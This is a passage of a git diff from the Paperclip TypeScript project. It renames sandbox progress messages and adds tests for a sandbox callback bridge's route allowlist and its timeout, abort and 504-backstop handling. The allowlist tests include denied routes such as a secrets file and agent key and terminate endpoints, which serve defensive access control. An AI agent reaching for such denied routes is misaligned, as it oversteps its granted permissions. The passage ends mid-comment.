+++ b/packages/adapter-utils/src/runtime-progress.test.ts
@@ -28,7 +28,7 @@ describe("createRuntimeProgressReporter", () => {
 
     await reporter.report(12.6 * MB, 31.4 * MB);
 
-    expect(lines).toEqual(["[paperclip] Syncing workspace to sandbox: 40% (12.6/31.4 MB)\n"]);
+    expect(lines).toEqual(["[paperclip] Syncing workspace to environment: 40% (12.6/31.4 MB)\n"]);
   });
 
   it("omits the label when none is provided (e.g. git history)", async () => {
@@ -68,7 +68,7 @@ describe("createRuntimeProgressReporter", () => {
     await reporter.report(5 * MB, 100 * MB); // 5%
 
     expect(lines).toHaveLength(1);
-    expect(lines[0]).toBe("[paperclip] Syncing workspace to sandbox: 1% (1.0/100.0 MB)\n");
+    expect(lines[0]).toBe("[paperclip] Syncing workspace to environment: 1% (1.0/100.0 MB)\n");
   });
 
   it("emits when the percentage crosses a 10% step", async () => {
@@ -89,7 +89,7 @@ describe("createRuntimeProgressReporter", () => {
     await reporter.report(15 * MB, 100 * MB); // 15% -> crosses into step 1 -> emit
 
     expect(lines).toHaveLength(2);
-    expect(lines[1]).toBe("[paperclip] Syncing workspace to sandbox: 15% (15.0/100.0 MB)\n");
+    expect(lines[1]).toBe("[paperclip] Syncing workspace to environment: 15% (15.0/100.0 MB)\n");
   });
 
   it("emits on the time threshold even without a step crossing", async () => {
@@ -112,7 +112,7 @@ describe("createRuntimeProgressReporter", () => {
     await reporter.report(3 * MB, 100 * MB); // 3% same step, but 2s elapsed -> emit
 
     expect(lines).toHaveLength(2);
-    expect(lines[1]).toBe("[paperclip] Syncing workspace to sandbox: 3% (3.0/100.0 MB)\n");
+    expect(lines[1]).toBe("[paperclip] Syncing workspace to environment: 3% (3.0/100.0 MB)\n");
   });
 
   it("always emits the terminal 100% line via report reaching the total", async () => {
@@ -133,7 +133,7 @@ describe("createRuntimeProgressReporter", () => {
     await reporter.report(100 * MB, 100 * MB); // terminal -> always emit
 
     expect(lines[lines.length - 1]).toBe(
-      "[paperclip] Restoring workspace from sandbox: 100% (100.0/100.0 MB)\n",
+      "[paperclip] Restoring workspace from environment: 100% (100.0/100.0 MB)\n",
     );
   });
 
@@ -156,7 +156,7 @@ describe("createRuntimeProgressReporter", () => {
     await reporter.complete();
 
     expect(lines[lines.length - 1]).toBe(
-      "[paperclip] Syncing workspace to sandbox: 100% (100.0/100.0 MB)\n",
+      "[paperclip] Syncing workspace to environment: 100% (100.0/100.0 MB)\n",
     );
   });
 
diff --git a/packages/adapter-utils/src/runtime-progress.ts b/packages/adapter-utils/src/runtime-progress.ts
index e217927675b..46c8497baea 100644
--- a/packages/adapter-utils/src/runtime-progress.ts
+++ b/packages/adapter-utils/src/runtime-progress.ts
@@ -91,7 +91,11 @@ export function createRuntimeProgressReporter(
   const minIntervalMs =
     options.minIntervalMs && options.minIntervalMs > 0 ? options.minIntervalMs : 2000;
   const now = options.now ?? Date.now;
-  const prefix = `[paperclip] ${options.phase}${options.label ? ` ${options.label}` : ""} ${options.direction} ${options.target}`;
+  // "sandbox" is the transport key, not product vocabulary: progress lines are
+  // user-visible run status, and the product refers to the run's machine as an
+  // environment ("Paperclip Computer" on managed deployments).
+  const targetDisplay = options.target === "sandbox" ? "environment" : options.target;
+  const prefix = `[paperclip] ${options.phase}${options.label ? ` ${options.label}` : ""} ${options.direction} ${targetDisplay}`;
 
   let lastEmitAt: number | null = null;
   let lastStep = -1;
diff --git a/packages/adapter-utils/src/sandbox-callback-bridge.test.ts b/packages/adapter-utils/src/sandbox-callback-bridge.test.ts
index e69fef32c8c..b0300d6d7d1 100644
--- a/packages/adapter-utils/src/sandbox-callback-bridge.test.ts
+++ b/packages/adapter-utils/src/sandbox-callback-bridge.test.ts
@@ -13,12 +13,15 @@ import {
   createFileSystemSandboxCallbackBridgeQueueClient,
   createSandboxCallbackBridgeAsset,
   createSandboxCallbackBridgeToken,
+  getSandboxCallbackBridgeServerSource,
   sandboxCallbackBridgeDirectories,
   syncRemoteTextFileWithHashSkip,
   syncSandboxCallbackBridgeEntrypoint,
   startSandboxCallbackBridgeServer,
   startSandboxCallbackBridgeWorker,
 } from "./sandbox-callback-bridge.js";
+import type { SandboxCallbackBridgeQueueClient } from "./sandbox-callback-bridge.js";
+import type { RuntimeSpanRunner } from "./acpx-engine/startup-timing.js";
 import type { RunProcessResult } from "./server-utils.js";
 
 const execFile = promisify(execFileCallback);
@@ -1249,6 +1252,13 @@ describe("sandbox callback bridge", () => {
       { method: "GET", path: "/api/companies/co-1/approvals" },
       { method: "GET", path: "/api/companies/co-1/routines" },
       { method: "GET", path: "/api/companies/co-1/skills" },
+      // Hire skill (paperclip-create-agent): discovery + submit + issue linking
+      { method: "GET", path: "/llms/agent-configuration.txt" },
+      { method: "GET", path: "/llms/agent-configuration/claude_local.txt" },
+      { method: "GET", path: "/llms/agent-icons.txt" },
+      { method: "GET", path: "/api/companies/co-1/agent-configurations" },
+      { method: "POST", path: "/api/companies/co-1/agent-hires" },
+      { method: "POST", path: "/api/issues/issue-1/approvals" },
       { method: "GET", path: "/api/projects/proj-1" },
       { method: "GET", path: "/api/goals/goal-1" },
       { method: "GET", path: "/api/issues/issue-1" },
@@ -1305,6 +1315,12 @@ describe("sandbox callback bridge", () => {
       // grows new actions later.
       { method: "POST", path: "/api/execution-workspaces/ws-1/runtime-services/delete" },
       { method: "POST", path: "/api/companies/co-1/agents" },
+      // The hire allowlist must not over-match: only the exact .txt discovery
+      // files, only agent-hires (not /agents), and no sub-resources beyond it.
+      { method: "GET", path: "/llms/agent-configuration" },
+      { method: "GET", path: "/llms/secrets.txt" },
+      { method: "POST", path: "/api/companies/co-1/agent-hires/ap-1" },
+      { method: "POST", path: "/api/issues/issue-1/approvals/ap-1" },
       { method: "POST", path: "/api/agents/agent-1/pause" },
       { method: "POST", path: "/api/agents/agent-1/terminate" },
       { method: "POST", path: "/api/agents/agent-1/keys" },
@@ -1460,4 +1476,1168 @@ describe("sandbox callback bridge", () => {
     expect(script).toContain("/workspace/b");
     expect(script).toContain("/workspace/c");
   });
+
+  // Capture the run-level error the worker surfaces through `runtimeSpan`. The
+  // worker runs a throwing function under the `sandbox.callbackBridge.workerFailed`
+  // span; this double records that error and re-throws, like the real runner.
+  function createWorkerErrorCapture(): {
+    runtimeSpan: RuntimeSpanRunner;
+    workerErrors: string[];
+  } {
+    const workerErrors: string[] = [];
+    const runtimeSpan: RuntimeSpanRunner = async (name, work) => {
+      try {
+        return await work();
+      } catch (error) {
+        if (name === "sandbox.callbackBridge.workerFailed") {
+          workerErrors.push(error instanceof Error ? error.message : String(error));
+        }
+        throw error;
+      }
+    };
+    return { runtimeSpan, workerErrors };
+  }
+
+  function bridgeRequestJson(id: string): string {
+    return `${JSON.stringify({
+      id,
+      method: "GET",
+      path: "/api/agents/me",
+      query: "",
+      headers: {},
+      body: "",
+      createdAt: new Date().toISOString(),
+    })}\n`;
+  }
+
+  it("times out a stalled poll, writes a 503, and surfaces a run-level error", async () => {
+    const rootDir = await mkdtemp(path.join(os.tmpdir(), "paperclip-bridge-hang-"));
+    cleanupDirs.push(rootDir);
+
+    const queueDir = path.posix.join(rootDir, "queue");
+    const directories = sandboxCallbackBridgeDirectories(queueDir);
+    await mkdir(directories.requestsDir, { recursive: true });
+    await writeFile(path.posix.join(directories.requestsDir, "req-a.json"), bridgeRequestJson("req-a"), "utf8");
+
+    const { runtimeSpan, workerErrors } = createWorkerErrorCapture();
+
+    const base = createFileSystemSandboxCallbackBridgeQueueClient();
+    let listCalls = 0;
+    const client: SandboxCallbackBridgeQueueClient = {
+      ...base,
+      // The first poll never resolves — a silently unresponsive sandbox channel.
+      // The per-iteration timeout must convert the hang into a caught error. The
+      // request never reaches the handler, so the recovery path can safely 503
+      // it. Later calls (the recovery's failPendingRequests) resolve.
+      listJsonFiles: async (dir) => {
+        listCalls += 1;
+        if (listCalls === 1) {
+          return await new Promise<string[]>(() => {});
+        }
+        return await base.listJsonFiles(dir);
+      },
+    };
+
+    const worker = await startSandboxCallbackBridgeWorker({
+      client,
+      queueDir,
+      iterationTimeoutMs: 50,
+      watchdogTimeoutMs: 10_000,
+      runtimeSpan,
+      authorizeRequest: async () => null,
+      handleRequest: async () => ({ status: 200, body: "ok" }),
+    });
+
+    const responseFile = await waitForJsonFile(directories.responsesDir, 3_000);
+    const responseBody = await readFile(path.posix.join(directories.responsesDir, responseFile), "utf8");
+    expect(JSON.parse(responseBody).status).toBe(503);
+    expect(workerErrors.length).toBeGreaterThan(0);
+    expect(workerErrors[0]).toContain("timed out");
+
+    await worker.stop({ drainTimeoutMs: 10 });
+  });
+
+  it("does not abandon an in-flight handler, so a started mutation is not applied twice", async () => {
+    // Prove the completion fence for a request whose handler already started. The
+    // per-iteration timeout rejects the wrapper but does not stop the handler, so
+    // the host operation (a mutation) is still in flight. The recovery path must
+    // not write a 503 there; a 503 makes the caller retry while the original
+    // mutation still completes, applying it twice. The test proves no 503 lands
+    // and the handler's real response is delivered exactly once.
+    const waitFor = async (predicate: () => boolean, timeoutMs: number) => {
+      const deadline = Date.now() + timeoutMs;
+      while (Date.now() < deadline) {
+        if (predicate()) {
+          return;
+        }
+        await new Promise((resolve) => setTimeout(resolve, 5));
+      }
+      throw new Error("waitFor timed out");
+    };
+
+    const queueDir = "/virtual-bridge/queue";
+    const directories = sandboxCallbackBridgeDirectories(queueDir);
+    const requestFile = "req-late.json";
+    const requestPath = path.posix.join(directories.requestsDir, requestFile);
+    const responsePath = path.posix.join(directories.responsesDir, requestFile);
+
+    // An in-memory queue client with no file-existence guards. A response write
+    // always lands here, so only the completion fence controls the outcome. The
+    // real filesystem and command clients add their own existence guards; this
+    // client removes them, so the test isolates the fence.
+    const requestBodies = new Map<string, string>();
+    requestBodies.set(requestPath, bridgeRequestJson("req-late"));
+    const responseWrites: Array<{ path: string; status: number }> = [];
+    const requestRemovals: string[] = [];
+
+    const handlerControl: { release: (() => void) | null } = { release: null };
+    let handlerCompleted = false;
+
+    const client: SandboxCallbackBridgeQueueClient = {
+      makeDir: async () => {},
+      makeDirs: async () => {},
+      listJsonFiles: async (dir) =>
+        dir === directories.requestsDir
+          ? [...requestBodies.keys()].map((entry) => path.posix.basename(entry)).sort()
+          : [],
+      readTextFile: async (remotePath) => {
+        const body = requestBodies.get(remotePath);
+        if (body === undefined) {
+          throw new Error(`missing request ${remotePath}`);
+        }
+        return body;
+      },
+      writeTextFile: async () => {},
+      writeResponseFile: async (remotePath, body) => {
+        responseWrites.push({ path: remotePath, status: JSON.parse(body.trim()).status });
+        return { wrote: true };
+      },
+      rename: async () => {},
+      remove: async (remotePath) => {
+        requestRemovals.push(remotePath);
+        requestBodies.delete(remotePath);
+      },
+    };
+
+    const { runtimeSpan, workerErrors } = createWorkerErrorCapture();
+
+    const worker = await startSandboxCallbackBridgeWorker({
+      client,
+      queueDir,
+      iterationTimeoutMs: 50,
+      watchdogTimeoutMs: 10_000,
+      runtimeSpan,
+      authorizeRequest: async () => null,
+      // The handler stays pending until the test releases it, well after the
+      // per-iteration timeout fires. It records that it finished, so the test
+      // proves the in-flight handler truly ran.
+      handleRequest: () =>
+        new Promise<{ status: number; body?: string }>((resolve) => {
+          handlerControl.release = () => {
+            handlerCompleted = true;
+            resolve({ status: 200, body: "req-late" });
+          };
+        }),
+    });
+
+    // Wait until the per-iteration timeout surfaced a run error and the handler
+    // is pending. The recovery path ran, so it already skipped the in-flight
+    // request.
+    await waitFor(
+      () => workerErrors.some((message) => message.includes("timed out")) && handlerControl.release !== null,
+      3_000,
+    );
+    // The recovery path wrote no 503 for the in-flight request.
+    expect(responseWrites.some((write) => write.status === 503)).toBe(false);
+
+    // Release the handler after the timeout. It delivers the real response.
+    handlerControl.release?.();
+    await waitFor(() => handlerCompleted, 3_000);
+    // Give the finalize write and remove time to land.
+    await new Promise((resolve) => setTimeout(resolve, 50));
+
+    expect(handlerCompleted).toBe(true);
+    // The handler committed exactly one response for the request: the real 200.
+    expect(responseWrites.filter((write) => write.path === responsePath)).toEqual([
+      { path: responsePath, status: 200 },
+    ]);
+    expect(responseWrites.some((write) => write.status === 503)).toBe(false);
+    // The handler removed the request file exactly once, after it finalized.
+    expect(requestRemovals).toEqual([requestPath]);
+
+    await worker.stop({ drainTimeoutMs: 10 });
+  });
+
+  it("aborts an in-flight handler on timeout, so a cooperating handler finalizes instead of stranding the request", async () => {
+    // A handler that threads the worker signal into its work must stop when the
+    // per-iteration timeout fires. It then finalizes with its own error
+    // response, so the request does not strand with no response. The recovery
+    // path still writes no 503 for the handler-owned request, so a started
+    // mutation is not applied twice. The abort reaches the handler after the host
+    // operation started, so the handler finalizes a non-retryable 504, not a
+    // retryable 502; the caller then does not retry a mutation that may have
+    // committed.
+    const waitFor = async (predicate: () => boolean, timeoutMs: number) => {
+      const deadline = Date.now() + timeoutMs;
+      while (Date.now() < deadline) {
+        if (predicate()) {
+          return;
+        }
+        await new Promise((resolve) => setTimeout(resolve, 5));
+      }
+      throw new Error("waitFor timed out");
+    };
+
+    const queueDir = "/virtual-bridge/queue";
+    const directories = sandboxCallbackBridgeDirectories(queueDir);
+    const requestFile = "req-abort.json";
+    const requestPath = path.posix.join(directories.requestsDir, requestFile);
+    const responsePath = path.posix.join(directories.responsesDir, requestFile);
+
+    const requestBodies = new Map<string, string>();
+    requestBodies.set(requestPath, bridgeRequestJson("req-abort"));
+    const responseWrites: Array<{ path: string; status: number }> = [];
+    const requestRemovals: string[] = [];
+
+    const client: SandboxCallbackBridgeQueueClient = {
+      makeDir: async () => {},
+      makeDirs: async () => {},
+      listJsonFiles: async (dir) =>
+        dir === directories.requestsDir
+          ? [...requestBodies.keys()].map((entry) => path.posix.basename(entry)).sort()
+          : [],
+      readTextFile: async (remotePath) => {
+        const body = requestBodies.get(remotePath);
+        if (body === undefined) {
+          throw new Error(`missing request ${remotePath}`);
+        }
+        return body;
+      },
+      writeTextFile: async () => {},
+      writeResponseFile: async (remotePath, body) => {
+        responseWrites.push({ path: remotePath, status: JSON.parse(body.trim()).status });
+        return { wrote: true };
+      },
+      rename: async () => {},
+      remove: async (remotePath) => {
+        requestRemovals.push(remotePath);
+        requestBodies.delete(remotePath);
+      },
+    };
+
+    const { runtimeSpan, workerErrors } = createWorkerErrorCapture();
+    let handlerAborted = false;
+
+    const worker = await startSandboxCallbackBridgeWorker({
+      client,
+      queueDir,
+      iterationTimeoutMs: 50,
+      watchdogTimeoutMs: 10_000,
+      runtimeSpan,
+      authorizeRequest: async () => null,
+      // The handler stays pending until the worker aborts the signal. It then
+      // rejects, so the request finalizes with the handler's own error response.
+      handleRequest: (_request, options) =>
+        new Promise<{ status: number; body?: string }>((_resolve, reject) => {
+          options?.signal.addEventListener("abort", () => {
+            handlerAborted = true;
+            reject(new Error("aborted by worker"));
+          });
+        }),
+    });
+
+    // The handler finalizes only after the worker aborts it. The request gets a
+    // terminal response (a 502 from the handler failure), never stranded.
+    await waitFor(() => responseWrites.some((write) => write.path === responsePath), 3_000);
+
+    expect(handlerAborted).toBe(true);
+    expect(workerErrors.some((message) => message.includes("timed out"))).toBe(true);
+    // Exactly one response landed: the handler's non-retryable 504. The recovery
+    // path wrote no competing 503, and the aborted handler wrote no retryable 502.
+    expect(responseWrites.filter((write) => write.path === responsePath)).toEqual([
+      { path: responsePath, status: 504 },
+    ]);
+    expect(responseWrites.some((write) => write.status === 503)).toBe(false);
+    expect(responseWrites.some((write) => write.status === 502)).toBe(false);
+    // The handler removed the request file after it finalized. The recovery path
+    // may issue a redundant idempotent remove for the same path when the handler
+    // finalized first, so assert the removal happened rather than a fixed count.
+    expect(requestRemovals).toContain(requestPath);
+
+    await worker.stop({ drainTimeoutMs: 10 });
+  });
+
+  it("finalizes an aborted handler that ignores the signal and never settles with a non-retryable 504 backstop", async () => {
+    // A handler that does not thread the worker signal into its work and never
+    // settles must not strand the request. The recovery path aborts the handler,
+    // waits the grace, then writes a non-retryable 504 backstop, so the request
+    // gets a terminal response even when the handler ignores the abort. The 504
+    // is non-retryable, so the caller does not retry a mutation that may have
+    // committed.
+    const waitFor = async (predicate: () => boolean, timeoutMs: number) => {
+      const deadline = Date.now() + timeoutMs;
+      while (Date.now() < deadline) {
+        if (predicate()) {
+          return;
+        }
+        await new Promise((resolve) => setTimeout(resolve, 5));
+      }
+      throw new Error("waitFor timed out");
+    };
+
+    const queueDir = "/virtual-bridge/queue";
+    const directories = sandboxCallbackBridgeDirectories(queueDir);
+    const requestFile = "req-stuck.json";
+    const requestPath = path.posix.join(directories.requestsDir, requestFile);
+    const responsePath = path.posix.join(directories.responsesDir, requestFile);
+
+    const requestBodies = new Map<string, string>();
+    requestBodies.set(requestPath, bridgeRequestJson("req-stuck"));
+    const responseWrites: Array<{ path: string; status: number; body: string }> = [];
+    const requestRemovals: string[] = [];
+
+    const client: SandboxCallbackBridgeQueueClient = {
+      makeDir: async () => {},
+      makeDirs: async () => {},
+      listJsonFiles: async (dir) =>
+        dir === directories.requestsDir
+          ? [...requestBodies.keys()].map((entry) => path.posix.basename(entry)).sort()
+          : [],
+      readTextFile: async (remotePath) => {
+        const body = requestBodies.get(remotePath);
+        if (body === undefined) {
+          throw new Error(`missing request ${remotePath}`);
+        }
+        return body;
+      },
+      writeTextFile: async () => {},
+      writeResponseFile: async (remotePath, body) => {
+        responseWrites.push({ path: remotePath, status: JSON.parse(body.trim()).status, body });
+        return { wrote: true };
+      },
+      rename: async () => {},
+      remove: async (remotePath) => {
+        requestRemovals.push(remotePath);
+        requestBodies.delete(remotePath);
+      },
+    };
+
+    const { runtimeSpan, workerErrors } = createWorkerErrorCapture();
+    let handlerStarted = false;
+
+    const worker = await startSandboxCallbackBridgeWorker({
+      client,
+      queueDir,
+      iterationTimeoutMs: 50,
+      watchdogTimeoutMs: 10_000,
+      // A short grace, so the backstop fires quickly after the abort.
+      abortedHandlerGraceMs: 30,
+      runtimeSpan,
+      authorizeRequest: async () => null,
+      // The handler ignores the worker signal and never settles. Without the
+      // backstop, the request would stay without a response forever.
+      handleRequest: () => {
+        handlerStarted = true;
+        return new Promise<{ status: number; body?: string }>(() => {});
+      },
+    });
+
+    // The backstop writes the terminal response after the grace.
+    await waitFor(() => responseWrites.some((write) => write.path === responsePath), 3_000);
+
+    expect(handlerStarted).toBe(true);
+    expect(workerErrors.some((message) => message.includes("timed out"))).toBe(true);
+    // Exactly one response landed: the non-retryable 504 backstop. The recovery
+    // path wrote no retryable 503 or 502 for the handler-owned request.
+    const requestResponses = responseWrites.filter((write) => write.path === responsePath);
+    expect(requestResponses).toHaveLength(1);
+    expect(requestResponses[0]?.status).toBe(504);
+    const parsed = JSON.parse(requestResponses[0]!.body.trim());
+    const responseBody = JSON.parse(parsed.body);
+    expect(responseBody.outcome).toBe("indeterminate");
+    expect(responseBody.retryable).toBe(false);
+    expect(parsed.headers?.["x-paperclip-bridge-outcome"]).toBe("indeterminate");
+    expect(responseWrites.some((write) => write.status === 503)).toBe(false);
+    expect(responseWrites.some((write) => write.status === 502)).toBe(false);
+    // The backstop removed the request file, so it does not strand in the queue.
+    expect(requestRemovals).toContain(requestPath);
+
+    await worker.stop({ drainTimeoutMs: 10 });
+  });
+
+  it("finalizes a late worker-aborted handler with a non-retryable 504, so the caller does not retry a committed mutation", async () => {
+    // Prove the completion status for a mutating request that the worker aborts.
+    // The per-iteration timeout aborts a handler that already started its host
+    // operation, so the mutation may have committed. The bridge cannot cancel a
+    // host operation that is in flight. The handler completes late, after the
+    // abort. Its response must be a non-retryable 504, never a retryable 502 or
+    // 503; a retry of either would apply the mutation twice.
+    const waitFor = async (predicate: () => boolean, timeoutMs: number) => {
+      const deadline = Date.now() + timeoutMs;
+      while (Date.now() < deadline) {
+        if (predicate()) {
+          return;
+        }
+        await new Promise((resolve) => setTimeout(resolve, 5));
+      }
+      throw new Error("waitFor timed out");
+    };
+
+    const queueDir = "/virtual-bridge/queue";
+    const directories = sandboxCallbackBridgeDirectories(queueDir);
+    const requestFile = "req-late-abort.json";
+    const requestPath = path.posix.join(directories.requestsDir, requestFile);
+    const responsePath = path.posix.join(directories.responsesDir, requestFile);
+
+    const requestBodies = new Map<string, string>();
+    requestBodies.set(requestPath, bridgeRequestJson("req-late-abort"));
+    const responseWrites: Array<{ path: string; status: number; body: string }> = [];
+    const requestRemovals: string[] = [];
+
+    const client: SandboxCallbackBridgeQueueClient = {
+      makeDir: async () => {},
+      makeDirs: async () => {},
+      listJsonFiles: async (dir) =>
+        dir === directories.requestsDir
+          ? [...requestBodies.keys()].map((entry) => path.posix.basename(entry)).sort()
+          : [],
+      readTextFile: async (remotePath) => {
+        const body = requestBodies.get(remotePath);
+        if (body === undefined) {
+          throw new Error(`missing request ${remotePath}`);
+        }
+        return body;
+      },
+      writeTextFile: async () => {},
+      writeResponseFile: async (remotePath, body) => {
+        responseWrites.push({ path: remotePath, status: JSON.parse(body.trim()).status, body });
+        return { wrote: true };
+      },
+      rename: async () => {},
+      remove: async (remotePath) => {
+        requestRemovals.push(remotePath);
+        requestBodies.delete(remotePath);
+      },
+    };
+
+    const { runtimeSpan, workerErrors } = createWorkerErrorCapture();
+    let handlerCompletedLate = false;
+
+    const worker = await startSandboxCallbackBridgeWorker({
+      client,
+      queueDir,
+      iterationTimeoutMs: 50,
+      watchdogTimeoutMs: 10_000,
+      runtimeSpan,
+      authorizeRequest: async () => null,
+      // The handler mirrors a mutating forward that already committed on the
+      // host. It rejects only after the worker aborts it, so its completion is
+      // late. The mutation stays committed; the abort cannot undo it.
+      handleRequest: (_request, options) =>
+        new Promise<{ status: number; body?: string }>((_resolve, reject) => {
+          options?.signal.addEventListener("abort", () => {
+            handlerCompletedLate = true;
+            reject(new Error("aborted by worker after the mutation committed"));
+          });
+        }),
+    });
+
+    await waitFor(() => responseWrites.some((write) => write.path === responsePath), 3_000);
+
+    expect(handlerCompletedLate).toBe(true);
+    expect(workerErrors.some((message) => message.includes("timed out"))).toBe(true);
+
+    // Exactly one response landed for the request: the non-retryable 504.
+    const requestResponses = responseWrites.filter((write) => write.path === responsePath);
+    expect(requestResponses).toHaveLength(1);
+    expect(requestResponses[0]?.status).toBe(504);
+
+    // The bridge wrote no retryable status for the possibly-committed mutation.
+    expect(responseWrites.some((write) => write.status === 502)).toBe(false);
+    expect(responseWrites.some((write) => write.status === 503)).toBe(false);
+
+    // The response marks the outcome indeterminate and non-retryable, so the
+    // caller does not retry.
+    const parsed = JSON.parse(requestResponses[0]?.body ?? "{}");
+    expect(parsed.status).toBe(504);
+    const responseBody = JSON.parse(parsed.body);
+    expect(responseBody.outcome).toBe("indeterminate");
+    expect(responseBody.retryable).toBe(false);
+    expect(parsed.headers?.["x-paperclip-bridge-outcome"]).toBe("indeterminate");
+
+    expect(requestRemovals).toContain(requestPath);
+
+    await worker.stop({ drainTimeoutMs: 10 });
+  });
+
+  it("retries a failed 504 backstop write and keeps the request until it lands, so the caller is not stranded", async () => {
+    // A backstop write can fail transiently, or it can exceed the iteration
+    // timeout. The recovery path must not drop the request file on that failure. A
+    // dropped file leaves no terminal 504 for the caller and fences out a late
+    // handler, so the caller waits to its own deadline and gets a generic 502. The
+    // recovery path retries the write and removes the request file only after the
+    // write lands.
+    const waitFor = async (predicate: () => boolean, timeoutMs: number) => {
+      const deadline = Date.now() + timeoutMs;
+      while (Date.now() < deadline) {
+        if (predicate()) {
+          return;
+        }
+        await new Promise((resolve) => setTimeout(resolve, 5));
+      }
+      throw new Error("waitFor timed out");
+    };
+
+    const queueDir = "/virtual-bridge/queue";
+    const directories = sandboxCallbackBridgeDirectories(queueDir);
+    const requestFile = "req-retry.json";
+    const requestPath = path.posix.join(directories.requestsDir, requestFile);
+    const responsePath = path.posix.join(directories.responsesDir, requestFile);
+
+    const requestBodies = new Map<string, string>();
+    requestBodies.set(requestPath, bridgeRequestJson("req-retry"));
+    const responseWrites: Array<{ path: string; status: number; body: string }> = [];
+    const requestRemovals: Array<{ path: string; afterWrites: number }> = [];
+    let writeAttempts = 0;
+
+    const client: SandboxCallbackBridgeQueueClient = {
+      makeDir: async () => {},
+      makeDirs: async () => {},
+      listJsonFiles: async (dir) =>
+        dir === directories.requestsDir
+          ? [...requestBodies.keys()].map((entry) => path.posix.basename(entry)).sort()
+          : [],
+      readTextFile: async (remotePath) => {
+        const body = requestBodies.get(remotePath);
+        if (body === undefined) {
+          throw new Error(`missing request ${remotePath}`);
+        }
+        return body;
+      },
+      writeTextFile: async () => {},
+      writeResponseFile: async (remotePath, body) => {
+        writeAttempts += 1;
+        // The first backstop write fails; the retry then succeeds.
+        if (writeAttempts === 1) {
+          throw new Error("simulated transient write failure");
+        }
+        responseWrites.push({ path: remotePath, status: JSON.parse(body.trim()).status, body });
+        return { wrote: true };
+      },
+      rename: async () => {},
+      remove: async (remotePath) => {
+        requestRemovals.push({ path: remotePath, afterWrites: writeAttempts });
+        requestBodies.delete(remotePath);
+      },
+    };
+
+    const { runtimeSpan } = createWorkerErrorCapture();
+
+    const worker = await startSandboxCallbackBridgeWorker({
+      client,
+      queueDir,
+      iterationTimeoutMs: 50,
+      watchdogTimeoutMs: 10_000,
+      // A short grace, so the backstop fires quickly after the abort.
+      abortedHandlerGraceMs: 30,
+      runtimeSpan,
+      authorizeRequest: async () => null,
+      // The handler ignores the worker signal and never settles, so only the
+      // backstop can finalize the request.
+      handleRequest: () => new Promise<{ status: number; body?: string }>(() => {}),
+    });
+
+    // The backstop retries the write, so the terminal 504 lands after the failure.
+    await waitFor(() => responseWrites.some((write) => write.path === responsePath), 3_000);
+
+    const requestResponses = responseWrites.filter((write) => write.path === responsePath);
+    expect(requestResponses).toHaveLength(1);
+    expect(requestResponses[0]?.status).toBe(504);
+    // The write failed once, so the backstop wrote on a later attempt.
+    expect(writeAttempts).toBeGreaterThanOrEqual(2);
+    // The recovery path removed the request file only after the write landed. The
+    // failed first attempt kept the file, so the request never dropped with no
+    // response.
+    const requestPathRemovals = requestRemovals.filter((entry) => entry.path === requestPath);
+    expect(requestPathRemovals.length).toBeGreaterThanOrEqual(1);
+    for (const entry of requestPathRemovals) {
+      expect(entry.afterWrites).toBeGreaterThanOrEqual(2);
+    }
+    // The bridge wrote no retryable status for the possibly-committed mutation.
+    expect(responseWrites.some((write) => write.status === 503)).toBe(false);
+    expect(responseWrites.some((write) => write.status === 502)).toBe(false);
+
+    await worker.stop({ drainTimeoutMs: 10 });
+  });
+
+  it("retries a handler response write that fails transiently and delivers the real response, not a retryable 503", async () => {
+    // A handler settles with its own response, but the terminal write fails
+    // once. `finalize` must retry the write and deliver the real response. It
+    // must not fence out recovery and leave the request for a retryable 503,
+    // which would let the caller repeat a possibly-committed mutation.
+    const waitFor = async (predicate: () => boolean, timeoutMs: number) => {
+      const deadline = Date.now() + timeoutMs;
+      while (Date.now() < deadline) {
+        if (predicate()) {
+          return;
+        }
+        await new Promise((resolve) => setTimeout(resolve, 5));
+      }
+      throw new Error("waitFor timed out");
+    };
+
+    const queueDir = "/virtual-bridge/queue";
+    const directories = sandboxCallbackBridgeDirectories(queueDir);
+    const requestFile = "req-write-retry.json";
+    const requestPath = path.posix.join(directories.requestsDir, requestFile);
+    const responsePath = path.posix.join(directories.responsesDir, requestFile);
+
+    const requestBodies = new Map<string, string>();
+    requestBodies.set(requestPath, bridgeRequestJson("req-write-retry"));
+    const responseWrites: Array<{ path: string; status: number; body: string }> = [];
+    const requestRemovals: string[] = [];
+    let writeAttempts = 0;
+
+    const client: SandboxCallbackBridgeQueueClient = {
+      makeDir: async () => {},
+      makeDirs: async () => {},
+      listJsonFiles: async (dir) =>
+        dir === directories.requestsDir
+          ? [...requestBodies.keys()].map((entry) => path.posix.basename(entry)).sort()
+          : [],
+      readTextFile: async (remotePath) => {
+        const body = requestBodies.get(remotePath);
+        if (body === undefined) {
+          throw new Error(`missing request ${remotePath}`);
+        }
+        return body;
+      },
+      writeTextFile: async () => {},
+      writeResponseFile: async (remotePath, body) => {
+        writeAttempts += 1;
+        // The first handler-response write fails; the retry then succeeds.
+        if (writeAttempts === 1) {
+          throw new Error("simulated transient response write failure");
+        }
+        responseWrites.push({ path: remotePath, status: JSON.parse(body.trim()).status, body });
+        return { wrote: true };
+      },
+      rename: async () => {},
+      remove: async (remotePath) => {
+        requestRemovals.push(remotePath);
+        requestBodies.delete(remotePath);
+      },
+    };
+
+    const { runtimeSpan } = createWorkerErrorCapture();
+
+    const worker = await startSandboxCallbackBridgeWorker({
+      client,
+      queueDir,
+      iterationTimeoutMs: 500,
+      watchdogTimeoutMs: 10_000,
+      runtimeSpan,
+      authorizeRequest: async () => null,
+      // The handler settles with its own 200 response.
+      handleRequest: async () => ({ status: 200, body: JSON.stringify({ ok: true }) }),
+    });
+
+    await waitFor(() => responseWrites.some((write) => write.path === responsePath), 3_000);
+
+    // Exactly one response landed: the handler's real 200. The retry delivered it
+    // after the transient failure.
+    const requestResponses = responseWrites.filter((write) => write.path === responsePath);
+    expect(requestResponses).toHaveLength(1);
+    expect(requestResponses[0]?.status).toBe(200);
+    expect(writeAttempts).toBeGreaterThanOrEqual(2);
+    // The bridge wrote no retryable status, so the caller does not repeat the
+    // request.
+    expect(responseWrites.some((write) => write.status === 503)).toBe(false);
+    expect(responseWrites.some((write) => write.status === 502)).toBe(false);
+    // The handler removed the request file after the write landed.
+    expect(requestRemovals).toContain(requestPath);
+
+    await worker.stop({ drainTimeoutMs: 10 });
+  });
+
+  it("re-arms the 504 backstop when every handler response write fails, so the caller gets a terminal 504 instead of stranding", async () => {
+    // A handler settles with its own response, but every terminal write fails.
+    // `finalize` must roll back the fence and re-arm the 504 backstop, so the
+    // recovery still delivers a non-retryable terminal response. Without the
+    // re-arm, a rejected write leaves the request for a retryable 503 and a hung
+    // write strands the caller until its own deadline.
